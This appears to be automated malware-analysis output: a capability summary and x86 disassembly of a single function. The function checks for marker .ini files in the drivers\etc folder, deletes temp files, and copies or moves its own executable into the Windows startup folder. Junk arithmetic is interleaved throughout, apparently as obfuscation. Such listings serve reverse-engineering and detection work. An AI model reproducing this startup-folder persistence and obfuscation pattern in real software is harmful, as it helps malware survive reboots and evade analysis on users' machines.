Function at 0x401ec0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x458190]
mov dword [esp + 0x300], eax
push esi
push edi
mov ecx, dword [0x456820]
mov esi, ecx
mov eax, 0x329dfa79
imul esi, esi, 0x537276
imul ecx
mov eax, dword [0x456824]
sar edx, 0x14
imul eax, eax, 0x45ab63
add esi, edx
mov ecx, edx
mov edx, dword [0x456830]
imul edx, edx, 0x31e0ba
shr ecx, 0x1f
add ecx, esi
mov esi, dword [0x45681c]
add ecx, edx
add ecx, eax
mov eax, 0x224214b1
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x45682c], ecx
mov ecx, dword [0x456828]
mov eax, 0x606c8017
imul esi
mov edi, ecx
sar edx, 0x15
imul edi, edi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x536f78
sub edi, ecx
mov ecx, dword [0x456834]
add edi, edx
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x456834], edi
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
je 0x402394
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
je 0x402394
mov ecx, dword [0x456820]
mov esi, dword [0x456830]
mov eax, 0x521ee247
imul esi, esi, 0x537276
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [0x456834]
mov eax, 0x759571eb
imul esi
push ebx
sar edx, 0x15
mov ebx, edx
add edi, edx
mov eax, 0x224214b1
imul esi
shr ebx, 0x1f
sar edx, 0x14
add ebx, edi
add ebx, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0x104
lea edx, [esp + 0x210]
push edx
sub ebx, ecx
push 0
mov dword [0x456818], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x20c]
push 0x5c
push eax
call fcn.0042a630
push str..tmp
lea ecx, [esp + 0x218]
push ecx
lea edx, [esp + 0x1c]
mov esi, eax
push 0x446b08
push edx
inc esi
call fcn.0042a331
mov ecx, dword [0x45682c]
mov edi, dword [str._r_____r____]
mov eax, 0x329dfa79
imul edi, edi, 0x50ebd8
imul ecx
mov ecx, dword [0x456820]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1eefbef3
imul ecx
mov eax, dword [0x456830]
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x779018
add esp, 0x18
sub edi, ecx
add edi, edx
push 0
sub edi, eax
push 0x18
lea eax, [esp + 0x114]
push eax
sub edi, 0x45ab63
push 0
mov dword [0x456820], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x10c]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4020e7
sub eax, ecx
push esi
lea ecx, [esp + eax + 0x110]
push 0x446b04
push ecx
call fcn.0042a331
mov esi, dword [0x456824]
mov ebx, dword [0x45681c]
mov edi, dword [0x456838]
imul ebx, ebx, 0x536f78
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xbc70579
imul edi
sar edx, 0x10
add ebx, edx
mov ecx, edx
mov eax, 0x61e4609d
imul edi
imul edi, edi, 0x45ab63
sar edx, 0x15
shr ecx, 0x1f
mov eax, edx
add ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
add esp, 0xc
mov dword [0x456828], ecx
xor edi, edi
jmp 0x402180
mov esi, dword [0x456824]
mov ecx, dword [0x456828]
jmp 0x402180
mov eax, 0x1eefbef3
imul esi, esi, 0x42333a
imul ecx, ecx, 0x1c242f
imul dword [0x45681c]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45682c]
imul edx, edx, 0x45ab63
sub esi, eax
sub esi, edx
lea eax, [esp + 0xc]
add esi, ecx
push 0
push eax
mov dword [0x456830], esi
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
je 0x4021da
lea ecx, [esp + 0xc]
push ecx
call ebx
inc edi
cmp edi, 0x64
jl 0x40216f
mov ecx, dword [0x45682c]
mov esi, dword [0x456830]
mov eax, 0x622f07f9
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
mov ecx, eax
mov eax, 0x521ee247
imul edx
mov edi, esi
imul edi, edi, 0x54f550
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub ecx, edi
imul edx, edx, 0x53af19
mov edi, dword [esp + 0x314]
sub ecx, eax
mov eax, dword [0x456834]
imul eax, eax, 0x45ab63
add ecx, edx
sub ecx, eax
test edi, edi
mov dword [0x456838], ecx
je 0x402251
cmp edi, 2
jne 0x402311
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x110]
push ecx
lea edx, [esp + 0x14]
push edx
call ebx
test eax, eax
jne 0x402305
mov esi, dword [0x456824]
mov ecx, dword [0x45682c]
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x329dfa79
imul esi
sar edx, 0x14
sub edi, ecx
mov ecx, dword [0x456838]
mov eax, edx
imul ecx, ecx, 0x15bc8b
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x53af19
sub edi, eax
push 6
add edi, ecx
lea eax, [esp + 0x110]
push eax
lea ecx, [esp + 0x14]
add edi, edx
push ecx
mov dword [str._r_____r____], edi
call ebx
pop ebx
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a161
add esp, 0x304
ret
mov esi, dword [0x456830]
mov ecx, dword [0x456838]
mov eax, 0x606c8017
imul esi, esi, 0x53af19
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x456824]
add eax, ebx
sub eax, ecx
add eax, esi
sub eax, edx
add eax, 0x42333a
cmp edi, 1
mov dword [0x45681c], eax
je 0x402367
cmp edi, 2
jne 0x40237c
push 0
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a161
add esp, 0x304
ret
mov ecx, dword [esp + 0x308]
pop edi
or eax, 0xffffffff
pop esi
call fcn.0042a161
add esp, 0x304
ret